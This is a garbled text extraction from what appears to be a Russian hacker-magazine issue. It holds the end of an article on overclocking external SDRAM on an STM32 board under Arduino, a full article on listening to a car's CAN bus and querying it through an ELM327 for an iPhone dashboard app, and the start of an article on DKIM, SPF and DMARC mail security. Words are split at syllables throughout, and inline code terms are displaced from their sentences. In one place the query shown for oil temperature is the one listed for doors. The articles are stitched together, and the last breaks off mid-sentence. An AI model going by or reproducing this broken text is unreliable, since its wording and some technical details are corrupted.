На выбор дает ся толь ко два зна чения:   и   И это край не неп рият но,  так
как у нас есть допол нитель ное огра ниче ние на мак сималь ную час тоту самого
FMC и боль ше 100 МГц на нем выс тавлять вро де как нель зя. Но очень хочет‐ 
ся!
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Что же делать — сни жать час тоту ядра до 200 МГц или выбирать делитель 
и доволь ство вать ся скром ными 72 МГц на опе ратив ной памяти? Конеч но же,
это все неп равиль ные вари анты. Надо раз гонять, и раз гонять по мак симуму!
Окей, зву чит нес коль ко само уве рен но, но на самом деле у нас очень хорошие
шан сы на успех, и я пос тара юсь крат ко объ яснить почему.
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Ра бота  любой  мик росхе мы  гаран тиру ется  ее  про изво дите лем  толь ко
в  опре делен ном  диапа зоне  тем ператур  и  нап ряжения  питания  (такую
информа цию  всег да  мож но  най ти  в  даташи те).  Клю чевое  сло во  здесь  —
«гаран тиру ется». Эти циф ры — не улов ки пиар щиков и мар кетоло гов и эфе‐ 
мер ные «+200% эффектив ности и ско рос ти», которые замери ли в иде аль ных
усло виях, а по фак ту в реаль ной жиз ни ник то не уви дит.

Нет,  тут  все  серь езно.  Перед  тем  как  запус тить  мик росхе му  в  про дажу,
про изво дитель  про водит  все  необ ходимые  тес ты  у  себя  в  лабора тори ях,
а  глав ный  инже нер  рас писыва ется  под  резуль татами  кровью.  Лад но,
про кровь я пошутил, но идею ты навер няка понял.

У  нас  же  поч ти  «теп личные»  усло вия  исполь зования  для  мик росхе мы —
ком натная  тем перату ра  и  ста биль ное  нап ряжение  на  уров не  3,3  В.  Как  раз
ров но посере дине рекомен дуемо го диапа зона 3,0–3,6 В.  Так  что  все будет
уве рен но работать и на 108 МГц, еще и тай мин ги мож но будет занизить.

Кста ти, о тай мин гах. Теперь, ког да извес тна так товая час тота, мож но под‐ 
счи тать  дли тель ность  пери ода.  Это  при мер но  9  нс,  боль шая  точ ность  нам
не тре бует ся (нес мотря на то что в секун дах это циф ра кро хот ная и в ней при‐ 
лич но нулей пос ле запятой). И да, обра ти вни мание,  у нас SDR  (Single Data
Rate) память, а не более при выч ная по миру пер сональ ных компь юте ров DDR
(Double  Data  Rate).  Это  зна чит,  что  син хро низа ция  про исхо дит  толь ко
по одно му фрон ту  так тового  сиг нала  вмес то двух.  Гру бо  говоря,  в  два раза
мед леннее при той же час тоте.

Зная дли тель ность пери ода, теперь лег ко вычис лить величи ну всех нуж ных
тай мин гов  (для  это го  пос мотри  таб лицы 12 и 13  в  даташи те  на мик росхе му
памяти). Там, где их зна чение ука зыва ется в наносе кун дах, нуж но подоб рать
такое количес тво так тов, что бы их сум марная дли тель ность была бы боль ше.
Как при мер — зна чение   в таб лице сос тавля ет 70 нс, а зна чит, надо ука‐ 
зывать для него задер жку в восемь так тов ( ).

TXSR
8 х 9 = 72 > 70

В общем, это не самая прос тая часть всей нас трой ки, но в коде все выг‐ 
лядит впол не ком пак тно (все го три записи в регис тры).

static inline void fmc_init() {
 /* Enable clock for FMC */
 RCC ‐> AHB3ENR |= RCC_AHB3ENR_FMCEN;

 /* Configure Control Register:
  * 1. Use FIFO for Burst reads
  * 2. SDCLK is HCLK / 2 (108 MHz)
  * 3. CAS latency is 2 clock cycles
  * 4. Four internal banks
  * 5. Data bus width is 16 bits
  * 6. 4096 rows (12 bits)
  * 7. 256 columns (8 bits)
  */
 FMC_Bank5_6 ‐> SDCR[0]  = FMC_SDCR1_RBURST | FMC_SDCR1_SDCLK_1 |
                           FMC_SDCR1_CAS_1 | FMC_SDCR1_NB |
                           FMC_SDCR1_MWID_0 | FMC_SDCR1_NR_0;

 /* Configure Timing register:
  * 1. TRCD = 2 CLK cycles
  * 2. TRP = 2 CLK cycles
  * 3. TWR = 2 CLK cycles
  * 4. TRC = 7 CLK cycles
  * 5. TRAS = 5 CLK cycles
  * 6. TXSR = 8 CLK cycles
  * 7. TMRD = 2 CLK cycles
  */
 FMC_Bank5_6 ‐> SDTR[0]  = FMC_SDTR1_TRCD_0 | FMC_SDTR1_TRP_0 |
                           FMC_SDTR1_TWR_0 | FMC_SDTR1_TRC_2 |
                           FMC_SDTR1_TRC_1 | FMC_SDTR1_TRAS_2 |
                           FMC_SDTR1_TXSR_2 | FMC_SDTR1_TXSR_1 |
                           FMC_SDTR1_TXSR_0 | FMC_SDTR1_TMRD_0;
}

Продолжение статьи →
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https://www.st.com/resource/en/reference_manual/dm00124865.pdf
https://xakep.ru/wp-content/uploads/2019/06/pin-full.txt
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ЗАВОДИМ И РАЗГОНЯЕМ ОПЕРАТИВНУЮ
ПАМЯТЬ НА STM32 И ARDUINO

ТРЮКИ  НАЧАЛО СТАТЬИ←

INFO

Мы  пот ратили  немало  вре мени,  лис тая  даташит
на  память  и  выяс няя,  с  какими  нас трой ками  ее
нуж но  запус кать.  Но  отку да  эту  информа цию
берет  обыч ный  пер сональ ный  компь ютер,  ведь
там план ки памяти — это прак тичес ки plug & play?
Ока зыва ется,  помимо  нес коль ких  мик росхем

опе ратив ной  памяти,  на  каж дой  план ке  допол‐ 
нитель но  при сутс тву ет  энер гонеза виси мая 
EEPROM.  Имен но  она  хра нит  зна чения  час тоты
и  тай мин гов  и  сооб щает  их  сис теме  по  пос‐ 
ледова тель ному интерфей су   (ана лог I2C).

SPD

SMBus

В фун кции   зна чения тай мин гов  гаран тирован но рабочие и потому
нес коль ко  завыше ны.  Забегая  впе ред,  ска жу,  что  у  меня  получа лось  запус‐ 
тить пла ту с   и   без  каких‐либо оши бок. От зна комых слы шал,
что и это не пре дел и раз гонять мож но и даль ше. Но уже раз ве что из спор‐ 
тивно го инте реса — осо бого при рос та тут не получить.

fmc_init

TRAS=4 TXSR=7

ЗАПУСКАЕМ SDRAM
Пре дыду щие две фун кции нас тра ива ли перифе рию толь ко на самом кон трол‐ 
лере.  Теперь  приш ло  вре мя  «про будить»  мик росхе му  SDRAM  и  пос лать  ей
стар товые коман ды. Весь про цесс деталь но опи сан на стра нице 35 докумен‐ 
тации на опе ратив ную память. В коде это выг лядит сле дующим обра зом:

#define CAS_POS  (4)
#define CAS_2    (2 << CAS_POS)
#define CAS_3    (3 << CAS_POS)

#define MODE_REG_POS (9)
#define MODE_REG     (CAS_2 << MODE_REG_POS);

#define REFRESH_RATE (1665)

static inline void sdram_init() {
 /* Clock Configuration Command */
 FMC_Bank5_6 ‐> SDCMR = FMC_SDCMR_CTB1 | FMC_SDCMR_MODE_0;

 while (FMC_bank5_6 ‐> SDSR & FMC_SDSR_BUSY) {
   /* wait until FMC is ready */
 }

 __WFI(); /* now wait until SDRAM is ready (~100 us) */

 /* Precharge All Command */
 FMC_Bank5_6 ‐> SDCMR = FMC_SDCMR_CTB1 | FMC_SDCMR_MODE_1;

 while (FMC_bank5_6 ‐> SDSR & FMC_SDSR_BUSY) {
   /* wait until FMC is ready */
 }

 /* Auto Refresh Command x4 */
 FMC_Bank5_6 ‐> SDCMR = FMC_SDCMR_NRFS_1 | FMC_SDCMR_NRFS_0 |
                        FMC_SDCMR_CTB1 | FMC_SDCMR_MODE_1 |FMC_SD
CMR_MODE_0;

 while (FMC_bank5_6 ‐> SDSR & FMC_SDSR_BUSY) {
   /* wait until FMC is ready */
 }

 /* Load Mode Register Command (CL = 2) */
 FMC_Bank5_6 ‐> SDCMR = MODE_REG | FMC_SDCMR_CTB1 | FMC_SDCMR_MODE_2;

 while (FMC_bank5_6 ‐> SDSR & FMC_SDSR_BUSY) {
   /* wait until FMC is ready */
 }

 /* Set Refresh Rate for SDRAM */
 FMC_Bank5_6 ‐> SDRTR |= REFRESH_RATE << 1;
}

Блок  FMC  выкинет  на  шину  памяти  нес коль ко  команд,  сре ди  которых  нас
боль ше все го инте ресу ют ров но две: заг рузка регис тра режима (Mode Regis‐
ter) и тай мера регене рации (Refresh Timer). Регистр режима выг лядит так.

Боль шинс тво  ком бинаций  битов  тут  зарезер вирова но  (очень  инте рес но,
зачем),  а  оставши еся  впол не  мож но  оста вить  по  умол чанию.  Глав ное  —
не забыть выс тавить параметр CAS Latency, который опре деля ет количес тво
так тов меж ду отправ кой коман ды на чте ние и появ лени ем дан ных на шине.

Так же сле дует ука зать, как час то дан ные в SDRAM нуж но обновлять, ведь
ячей ки  динами чес кой  памяти  пос тро ены  на  осно ве  кон денса торов  и  име ют
свой ство  раз ряжать ся  со  вре менем.  Для  это го  све рим ся  с  докумен таци ей
на FMC (с. 379) и вос поль зуем ся каль кулято ром.

Все,  самое  слож ное  теперь  позади!  Дос таточ но  толь ко  вызывать  фун кцию
  в    и  нас тро ить  SDRAM.  С  нашей  мик росхе мой  уже  мож но

работать,  и  сей час  луч ший  момент  про верить  это,  записав  что‐нибудь
в память по новым адре сам. Если не слу чилось никако го    (с экс‐ 
тра поля цией до  ), то при ми мои зас лужен ные поз драв ления.

xmem_init setup

Bus Error
Hard Fault

ПРАВИМ LDSCRIPT
Уже на этом эта пе мы можем работать с внеш ней памятью при мер но таким
обра зом:

#define BR_IN_SIZE    (0x2000)
#define BR_OUT_SIZE   (0x2000)
#define INPUT_SIZE    (0x8000)
#define BUFFER_SIZE   (0x8000)

#define BR_IN_OFFSET  (0xC00FF000)
#define BR_OUT_OFFSET (BR_IN_OFFSET + BR_IN_SIZE)
#define INPUT_OFFSET  (BR_OUT_OFFSET + BR_OUT_SIZE)
#define BUFFER_OFFSET (INPUT_OFFSET + INPUT_SIZE)

static uint8_t *const iobuf_in   = (uint8_t *const)BR_IN_OFFSET;
static uint8_t *const iobuf_out  = (uint8_t *const)BR_OUT_OFFSET;
static uint8_t *const input      = (uint8_t *const)INPUT_OFFSET;
static uint8_t *const buffer     = (uint8_t *const)BUFFER_OFFSET;

Это кусочек кода с буфера ми вво да‐вывода для биб лиоте ки bearSSL из моей
пре дыду щей  статьи.  Так  как  опе рации  с  мас сивами  —  это  час тные  слу чаи
ариф метики  ука зате лей,  все  реали зует ся  дос таточ но  прос то.  Одна ко  такое
исполь зование  памяти  чре вато  проб лемами  —  сто ит  толь ко  опе чатать ся
в  адре сах  или  раз мерах мас сивов,  и  сле дующие  нес коль ко  часов  при дет ся
пот ратить на исправ ление глу пой ошиб ки.

Об легчить  себе  жизнь  мож но,  если  добавить  в  прог рамму  менед жер
памяти. Или  взять  сущес тву ющий.  Ты  навер няка  уже  догадал ся,  что  даль ше
речь пой дет о биб лиотеч ной фун кции  . Имен но она  возь мет  на  себя
всю низ коуров невую работу  с  памятью и  адре сами,  поз волив  нам  скон цен‐ 
три ровать ся на более важ ных вещах.

malloc

Из началь но  куча  раз меща ется  в  той  же  области  внут ренней  SRAM,  что
и стек. Если получит ся переки нуть кучу во внеш нюю память, то   нач нет
раз давать адре са отту да. Это удоб но, так как, во‐пер вых, у нас осво бодит ся
боль ше мес та  под  стек,  во‐вто рых,  менед жер  памяти  смо жет  нарезать  нам
кусоч ки целыми мегабай тами.

malloc

Для это го нам нуж но добавить новую область памяти в скрипт заг рузчи ка.
В фай лах Arduino по адре су 

 ищем    и  откры ваем его  в  любом  тек сто вом
редак торе  (исходную  вер сию  пред варитель но  все  же  луч ше  сох ранить).
Перед сек циями там ука заны типы памяти в нашей сис теме. Исправ ляем на

packages/STM32/hardware/stm32/1.5.0/vari‐
ants/DISCO_746NG ldscript.ld

/* Specify the memory areas */
MEMORY
{
 RAM (xrw)      : ORIGIN = 0x20000000, LENGTH = 320K
 FLASH (rx)      : ORIGIN = 0x8000000, LENGTH = 1024K
 SDRAM (xrw)     : ORIGIN = 0xC0000000, LENGTH = 8M
}

Пос ле это го ищем опи сание сек ции  . Оно выг лядит  как‐то
так:

user_heap_stack

/* User_heap_stack section, used to check that there is enough RAM left 
*/
._user_heap_stack :
{
 . = ALIGN(8);
 PROVIDE ( end = . );
 PROVIDE ( _end = . );
 . = . + _Min_Heap_Size;
 . = . + _Min_Stack_Size;
 . = ALIGN(8);
} >RAM

Здесь про исхо дит вырав нивание дан ных по адре сам в памяти и экспорт нес‐ 
коль ких  допол нитель ных  перемен ных  для  ком пилято ра. Это  все  уже  не  тре‐ 
бует ся, поэто му уда ляем сек цию пол ностью и пишем сле дующее:

/* User heap section */
._user_heap :
{
 PROVIDE ( _heap_min = . );
 PROVIDE ( _heap_max = _heap_min + LENGTH(SDRAM));
} >SDRAM

Те перь  куча  будет  раз мещать ся  во  внеш ней  мик росхе ме  памяти,  но  нам
еще нуж но научить фун кцию   работать с новыми адре сами. Пра вить ее
исходни ки  было  бы  нес коль ко  опро мет чиво  (вот    ты  можешь  оце нить
при мер ный мас штаб проб лемы), да это и не тре бует ся. Мы зай дем с дру гой
сто роны и обра тим ся к фун кции  , от которой зависит  .

malloc
здесь

sbrk malloc

РЕАЛИЗУЕМ SBRK
Се год ня вряд ли мож но встре тить челове ка, который пореко мен дует исполь‐ 
зование сис темно го вызова   в новых прог раммах. Ско рее наобо рот, вся‐ 
чес ки посове тует дер жать ся от него как мож но даль ше. Это разум но, это пра‐ 
виль но,  но  во  встра иваемых  сис темах  своя  спе цифи ка,  поэто му  тут 
не толь ко исполь зуют, но еще и пра вят от слу чая к слу чаю.

sbrk

sbrk

Преж де все го сто ит взгля нуть на файл  , который мож но най ти
по  адре су  .  Тут
находит ся  реали зация    по  умол чанию,  от  нее  и  будем  отталки вать ся.
Атри бут   намека ет,  что в сво их про ектах эту фун кцию мож но пере опре‐ 
делять без пос ледс твий.

syscalls.c
packages/STM32/hardware/stm32/1.5.0/cores/arduino

sbrk
weak

Соз даем скетч в Arduino и добав ляем новый файл  . Пишем внут ри:sbrk.c

#include <sys/stat.h>
#include <errno.h>

extern char _heap_min;
extern char _heap_max;
extern int errno;

caddr_t _sbrk(int incr) {
 static char *current = &_heap_min;
 char *previous = current;

 if (current + incr > (char*)&_heap_max) {
   errno = ENOMEM;
   return (caddr_t) ‐1;
 }

 current += incr;
 return (caddr_t) previous ;
}

Те перь  фун кция    из  стан дар тной  биб лиоте ки  будет  зависеть  уже
от нашей реали зации сис темно го вызова. А мы сде лали все для того, что бы
он раз давал адре са из нуж ного диапа зона  . Пос‐ 
леднее  неудобс тво  зак люча ется  в  том,  что  в  каж дой  нашей  прог рамме,
которая исполь зует внеш нюю SDRAM, нам необ ходимо вызывать 
в    перед динами чес ким рас пре деле нием памяти. Ина че сказ ка закон‐ 
чится и карета прев ратит ся в тык ву зна читель но рань ше полуно чи. В смыс ле

 вер нет нулевой ука затель, разуме ется.

malloc

[0xC0000000, 0xC07FFFFF]

xmem_init
setup

malloc
Об этом тяжело пом нить каж дый раз и очень лег ко забыть, поэто му про ще

будет  вста вить  ини циали зацию  памяти  до  того  момен та,  как  управле ние
перей дет к поль зователь ско му коду.

ДОБАВЛЯЕМ В MAIN
Проб лема  зак люча ется  в  том,  что  фун кция    у  нас  одна  для  всех  плат
из пакета STM32duino, а Discovery F746 со сво ей внеш ней SDRAM в этом пла‐ 
не  уни каль на. Поэто му  при дет ся  вво дить  допол нитель ные  усло вия  при  ком‐ 
пиляции скет ча.

main

Сно ва  идем  по  адре су 
 (в этой пап ке мы уже пра вили скрипт заг рузчи ка). Откры‐ 

ваем заголо воч ный файл пла ты   и добав ляем в любое мес то строч‐ 
ку с новым опре деле нием:

packages/STM32/hardware/stm32/1.5.0/vari‐
ants/DISCO_746NG

variant.h

#define EX_SDRAM

Да лее  перехо дим  в  пап ку 
.  Ищем  ,  в  него  пред сто ит  внес ти  зак лючитель ные  изме‐ 

нения, что бы все зарабо тало. Во‐пер вых, добав ляем файл   с объ явле‐ 
нием фун кции ини циали зации:

packages/STM32/hardware/stm32/1.5.0/cores/
arduino main.cpp

xmem.h

#ifdef EX_SDRAM
 #include "xmem.h"
#endif

И встав ляем ее вызов пря мо перед  :setup

#ifdef EX_SDRAM
 xmem_init();
#endif

Кста ти,  если  ты обра тишь  вни мание на осталь ной  код  в  ,  то  заметишь,
что кон фигура ция интерфей са USB на некото рых пла тах устро ена по такому
же прин ципу.

main

ЗАКЛЮЧЕНИЕ
В  этой  статье  мы  научи ли  Arduino  работать  с  внеш ней  памятью  для  пла ты
на STM32. Допол нитель ные нес коль ко мегабайт при дут ся очень кста ти, если
ты захочешь исполь зовать дис плей или под клю чить камеру.

Но пожалуй, мы добились не толь ко это го. Наде юсь, теперь ты навер няка
луч ше  пред став ляешь  работу  опе ратив ной  памяти  в  сво ем  компь юте ре:
как  она  устро ена  и  как  рас счи тыва ются  зна чения  тай мин гов  и  пери оды
регене рации яче ек.

https://en.wikipedia.org/wiki/Serial_presence_detect
https://en.wikipedia.org/wiki/System_Management_Bus
https://github.com/lattera/glibc/blob/master/malloc/malloc.c
https://en.wikipedia.org/wiki/Sbrk
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ТРЮКИ

На  сме ну  клас сичес ким  авто мобиль ным
при борам  при ходят  циф ровые  панели.
Навер ное,  самая  популяр ная  машина
с  такой  панелью  —  это  Tesla  с  ее  вну‐ 
шитель ным  сен сорным  дис пле ем.  На  нем
мож но  сле дить  за  мар шру том,  управлять
музыкой  и  видеть  диаг ности чес кую
информа цию.  А  зна ешь  ли  ты,  что  в  бюд‐ 
жетных  авто  исполь зуют ся  те же  элек трон‐ 
ные бло ки? Информа цию с них мож но счи‐ 
тать и показать. Давай поп робу ем это сде‐ 
лать.

Сем надца тидюй мовый сен сорный дис плей Tesla

Рань ше на панель при боров выводи лась толь ко основная информа ция: обо‐ 
роты,  ско рость,  тем перату ра.  Сей час  мож но  вывес ти  любые  дан ные,  какие
пожела ешь: видео с камеры под бам пером, дорож ные зна ки, гра фик рас хода
топ лива.

Ав томобиль — это боль шая компь ютер ная сеть, в которой мно жес тво дат‐ 
чиков  и  исполни тель ных  механиз мов.  Но  информа цию  об  их  работе  мож но
пос мотреть  толь ко  с  помощью  спе циаль ного  диаг ности чес кого  обо рудо‐ 
вания.

Элек трон ные бло ки

Чем  дороже  машина,  тем  боль ше  полез ной  информа ции  отоб ража ется
на штат ном бор товом компь юте ре.

ИЗУЧЕНИЕ ВОЗМОЖНОСТЕЙ
В  сов ремен ных  авто моби лях  исполь зует ся  шина    для  свя зи  дат чиков,
кно пок,  исполни тель ных  устрой ств  и  бло ков  управле ния.  Каж дый  дат чик,
который переда ет информа цию, в каж дом сооб щении ука зыва ет свой ID. Все
дру гие устрой ства на шине видят эти сооб щения и сами реша ют, реаги ровать
на них или нет.

СAN

Нап ример,  дат чик  тем перату ры  охлажда ющей  жид кости  переда ет
информа цию,  блок  управле ния  дви гате лем  учи тыва ет  ее  в  сво ей  работе,
а панель при боров отоб ража ет тем перату ру дви гате ля.

Что бы  получить  информа цию  о  работе  сис тем  авто моби ля,  нуж но  под клю‐ 
чить ся к CAN. Есть нес коль ко спо собов под клю чения.
1. Под клю чить ся непос редс твен но к про водам внут ри машины. Этот спо соб
тре бует час тичной раз борки авто.

2. Под клю чить ся в  .ди агности чес кий разъ ем OBD2

В авто моби лях груп пы VAG (Volkswagen, Audi, Škoda, Seat) разъ ем OBD2 под‐ 
клю чен к шине CAN через шлюз: пря мого дос тупа к ней нет. Это озна чает, что
если попытать ся пос лушать коман ды в разъ еме OBD2, то ничего не получит‐ 
ся. Шлюз не про пус кает коман ды из основной сети в диаг ности чес кий разъ‐ 
ем.  Но  есть  офи циаль ный  ,  который  поз‐ 
воля ет  через  OBD2  видеть  все  дат чики,  читать  ошиб ки  и  нас тра ивать  обо‐ 
рудо вание.

ди агности чес кий  ком плекс  VCDS

Ра бота ет  он  прос то:  VCDS  для  каж дого  дат чика  зап рашива ет  у  шлю за
информа цию  о  его  сос тоянии;  ког да  шлюз  получа ет  ее,  он  переда ет
информа цию в OBD2.

Итак, если под слу шать, что зап рашива ет VCDS, мож но будет получить спи сок
команд для опро са дат чиков.

СНИФФЕР ШИНЫ CAN
На осно ве Arduino Uno и   с CAN‐кон трол лером 
я соб рал сниф фер, который под клю чает ся в любое мес то в шине CAN и слу‐ 
шает про лета ющий тра фик. При этом сниф фер никак не меша ет работе сис‐ 
тем. Что бы под слу шать, что отправ ляет VCDS, нуж но под паять ся в сам диаг‐ 
ности чес кий кабель к пинам CAN‐High и CAN‐Low.

мо дуля TJA1050 Niren MCP2515

Пос ле  под клю чения  кабеля  в  разъ ем  OBD2  мож но  наб людать  весь  тра фик
меж ду  шлю зом  и  VCDS  с  помощью  прог раммы  .  Для  Arduino
есть  спе циаль ный  скетч,  он  при нима ет  дан ные  по  CAN  и  отправ ляет  через
пре обра зова тель UART → USB в фор мате, который понима ет CANHackerV2.
Скетч находит ся в откры том дос тупе и  .

CANHackerV2

ле жит на GitHub

Прос лушав  отправ ленные  VCDS  коман ды,  я  сфор мировал  спи сок  команд,
которые мож но зап рашивать у машины.

Две ри:
 — зап рос;• 714 03 22 22 0D 55 55 55 55

 — все две ри зак рыты;• 77E 05 62 22 0D 55 65 AA AA

 — все две ри откры ты.• 77E 05 62 22 0D 00 65 AA AA

Уро вень топ лива:
 — зап рос;• 714 03 22 22 06 55 55 55 55

 — 44 лит ра;• 77E 04 62 22 06 2C AA AA AA

 — 22 лит ра.• 77E 04 62 22 06 16 AA AA AA

Тем перату ра мас ла:
 — зап рос;• 714 03 22 20 2F 55 55 55 55

 — –4 °С;• 77E 04 62 20 2F 36 AA AA AA

 — 45 °С.• 77E 04 62 20 2F 67 AA AA AA

Те перь нуж но понять, есть ли спо соб получать эти дан ные без офи циаль ного
диаг ности чес кого обо рудо вания, что бы затем их отоб ражать.

ДИАГНОСТИЧЕСКИЙ СКАНЕР ELM327
С  1996  года  все  авто моби ли  дол жны  под держи вать  спе цифи кацию  OBD2,
которая  пре дус матри вает  16‐пиновый  разъ ем.  Разъ ем  OBD2  обя зан  быть
в рай оне рулево го колеса или где‐то непода леку. В спе цифи кацию так же вхо‐ 
дит  стан дар тный  набор  команд,  который  дол жны  под держи вать  все  авто‐ 
моби ли.

Мно гие авто люби тели зна ют о недоро гом  ,
который поз воля ет для любого авто моби ля — по про токо лу OBD2 — про вес‐ 
ти  пер вичную  диаг ности ку,  счи тать  ошиб ки,  сбро сить  ошиб ки,  а  так же  зап‐ 
росить  некото рую  информа цию  у  бло ка  управле ния  дви гате лем:  ско рость,
обо роты, тем перату ру, про пус ки зажига ния.

ди агности чес ком ска нере ELM327

ELM327

Прог рамм для работы с базовы ми фун кци ями ELM327 хва тает. Но толь ко раз‐ 
работ чики зна ют, что потен циал ELM327 гораз до боль ше. ELM327 под держи‐ 
вает  работу  с  две над цатью  раз личны ми  про токо лами,  в  том  чис ле  и  ISO
15765‐4 CAN. Это озна чает, что диаг ности чес кий ска нер может получить дос‐ 
туп к шине CAN и общать ся с ней.

Что бы  ELM327  мог  отправ лять  зап росы  и  получать  дан ные  через  шину
CAN, нуж но его нас тро ить. Для это го под клю чаем ся к UART‐кон соли ска нера
по  Wi‐Fi,  Bluetooth  или  с  помощью  про вода  и  отправ ляем  набор  команд
AT сог ласно  .до кумен тации на ELM327

 — сброс всех нас тро ек;• atz

 — отклю чаем эхо;• at e0

 — ID, к которо му будем отправ лять зап рос;• at sh 714

 — ID, с которо го будем получать ответ;• at cra 77e

 — вклю чить Flow control для ID 714;• at fc sh 714

 — задать дан ные для Flow control;• at fc sd 30 00 00

 — режим Flow Control, ког да юзер зада ет ID и дан ные;• at fc sm 1

 — раз решить длин ные сооб щения, боль ше 7 байт;• at al

 — про токол обще ния ISO 15764‐4 CAN (11 бит ID, 500 кБод);• at sp 6

 — отклю чить авто мати чес кое фор матиро вание CAN;• at ca f0

 — отклю чаем перенос.• at l0

Пос ле  нас трой ки  ELM327  сде лаем  тес товый  зап рос.  Зап рашива ем  тем‐ 
перату ру мас ла ( ) и получа ем ответ: 

.
03 22 22 0D 55 55 55 55 05 62 22 0D

55 65 AA AA
Со обще ния  в  шине  CAN  переда ются  со  ско ростью  500  кБод,  это  очень

быс тро.  ELM327  работа ет  нам ного  мед леннее,  сред нее  вре мя  на  зап‐ 
рос‐ответ — 50 мс, за одну секун ду мож но сде лать все го двад цать зап росов.
Это нуж но учи тывать при раз работ ке при ложе ния, которое будет опра шивать
дат чики и выводить информа цию на экран.

РАЗРАБОТКА ПРИЛОЖЕНИЯ ПОД IPHONE
Мно гие автопро изво дите ли выпус кают мобиль ные при ложе ния, которые поз‐ 
воля ют  дис танци онно  запус кать  дви гатель,  вклю чать  кли мат‐кон троль,  сле‐ 
дить за уров нем топ лива.

Я решил раз работать при ложе ние для телефо на или план шета, которое смо‐ 
жет выпол нять фун кции при бор ной панели авто моби ля.

Раз работ ка при ложе ния будет вес тись под iOS, но для Android алго рит мы
работы  с  ELM327  те  же.  Для  раз работ ки  при ложе ний  под  iOS  тре бует ся

.  Сей час  на  выбор  у  раз работ чика  есть  два  офи циаль но  под держи‐ 
ваемых язы ка прог рамми рова ния: Objective‐C и Swift. Пос ледний новее, про‐ 
ще и луч ше защищен от оши бок.

Xсode

Xcode

В пер вой вер сии при ложе ния глав ное — соз дать ста биль ную осно ву для ком‐ 
муника ции  с  Wi‐Fi  ELM327  ска нером,  что бы  затем  было  лег че  рас ширять
набор фун кций при ложе ния.

Фрей мворк    прост  в  исполь зовании  и  ста билен,  он
работа ет нап рямую с сокета ми по про токо лу TCP и UDP. С его помощью мож‐ 
но начать соеди нение, отправ лять и получать дан ные, зак рывать соеди нение.

CocoaAsyncSocket

Пос ле  отладки  кода  обще ния  с  ELM327  мож но  перехо дить  к  раз работ ке
самого  интерфей са  вир туаль ной  панели.  Дизайн  при ложе ния  не  дол жен
отвле кать  от  дороги,  но  в  то  же  вре мя  дол жен  быть  информа тивен  и  лег ко
чита ем.

Раз местив  вид жеты  дат чиков  на  Storyboard,  нуж но  соеди нить  их  с  кодом.
В  Xсode  это  дела ется  с  помощью  соеди нитель ных  линий.  Пос ле  этой  опе‐ 
рации при обновле нии дат чика его  зна чение будет  записа но  в  перемен ную
и отоб разит ся на вид жете.

Ос нова  для  при ложе ния  готова.  Сей час  при ложе ние  показы вает  откры тые
две ри и основные дан ные парамет ров авто моби ля.

Под рулевой перек лючатель TRIP при дол гом  удер жании меня ет  стиль отоб‐ 
ражения при боров.

Я про тес тировал при ложе ние на нес коль ких авто моби лях:
Škoda Octavia A5 2011 Ambiente;•
Škoda Octavia A5 2012 L&K;•
Škoda Yeti 2011 Ambiente;•
Škoda Octavia A7 2014 Elegance.•

На  пос леднем отоб ража ется  толь ко  часть  парамет ров. При ложе ние  дол жно
работать и с дру гими моделя ми груп пы VAG (Volkswagen, Audi, Škoda, Seat).

ИТОГ
Сна чала про ект задумы вал ся как иссле дова тель ский. Было инте рес но узнать,
как  работа ют  элек трон ные  сис темы  авто моби ля  и  как  мож но  улуч шить  их
работу. Получен ные зна ния поз волили раз работать прос тое мобиль ное при‐ 
ложе ние, которое может поп робовать каж дый.

WWW

,  как  при ложе ние
работа ет в реаль нос ти

•Пос мотреть  на  YouTube

  (для  работы
нужен толь ко диаг ности чес кий ска нер ELM327)

•Ска чать  при ложе ние  из  App Store

mailto:aivs@yandex.ru
https://ru.wikipedia.org/wiki/Controller_Area_Network
http://ru.ross-tech.com/?lang=ru
http://electronicsworld.ru/can-bus-module-mcp2515/
https://static.chipdip.ru/lib/204/DOC000204563.pdf
https://www.mictronics.de/projects/usb-can-bus/
https://github.com/autowp/arduino-canhacker
https://hype.ru/@boevoy-homyak/chto-mozhet-i-ne-mozhet-elm327-nedorogoy-skaner-dlya-diagnostiki-avto-7kkjtkyq
https://www.elmelectronics.com/wp-content/uploads/2016/07/ELM327DS.pdf
https://developer.apple.com/xcode/
https://youtu.be/Mt051NKOefU
https://apps.apple.com/us/app/vag-virtual-cockpit/id1468103297?l=ru&ls=1


ЗАЩИЩАЕМ

БЕЗ АНТИВИРУСА
ПОЧТОВЫЙ СЕРВЕР

НАСТРОЙКА DKIM‐,
SPF‐ И DMARC‐

ЗАПИСЕЙ

Иван Пискунов

АДМИН

Элек трон ная  поч та  —  один  из  самых  популяр ных  каналов
рас простра нения  спа ма,  мал вари  и  фишин говых  ссы лок.
Сущес тву ет  куча  соф та,  который  защища ет  поч товые  сер‐ 
веры от этих напас тей, да вот незада ча: боль шинс тво таких
прог рамм  сто ит  денег,  и  порой  немалых.  В  этой  статье  я
рас ска жу,  как  уси лить  безопас ность  кор поратив ных  поч‐ 
товых  сер веров  (MS  Exchange  и  Postfix)  с  помощью  дос‐ 
тупных штат ных  средств — DKIM‐,  SPF‐  и  DMARC‐записей,
не тре бующих исполь зования дорогос тоящих ком мерчес ких
про дук тов.

НЕМНОГО ТЕОРИИ О ТОМ, ЧТО МЫ БУДЕМ НАСТРАИВАТЬ
Итак,  преж де  чем  мы  прис тупим  непос редс твен но  к  изме нению  нас тро ек
безопас ности  нашего  поч тового  сер вера,  нуж но  разоб рать ся  с  тем,  что
имен но мы собира емся нас тра ивать.  Если  тебя не  пуга ют  страш ные на  вид
аббре виату ры, сос тоящие из трех и более заг лавных букв латин ско го алфа‐ 
вита,  ты  можешь  про пус тить  этот  раз дел.  Осталь ных  приг лашаю  осве жить
свои зна ния, ибо пов торение, как гла сит народ ная муд рость, мать уче ния.

WARNING

Важ но  пом нить,  что,  к  сожале нию,  нас трой ка
DKIM‐,  SPF‐  и  DMARC‐записей  не  панацея
от всех бед. Если поч товый сер вер был взло ман,
эти  фун кции  безопас ности  не  смо гут  защитить
от  нелеги тим ного  тра фика.  Поэто му  важ но
заранее  про думать  эше лони рован ную  защиту
сис темы, вклю чая антиспам‐филь тры, анти вирус‐ 
ное детек тирова ние и про чее.

Что такое DKIM?
  —  это,  условно  говоря,  циф ровая

под пись,  которая  под твержда ет  под линность  отпра вите ля  и  гаран тиру ет
целос тность  дос тавлен ного  пись ма.  Под пись  добав ляет ся  в  слу жеб ные
заголов ки сооб щения и оста ется незамет ной для самого поль зовате ля. Пос‐ 
коль ку  в  DKIM  исполь зует ся  асим метрич ная  сис тема  шиф рования,  репози‐ 
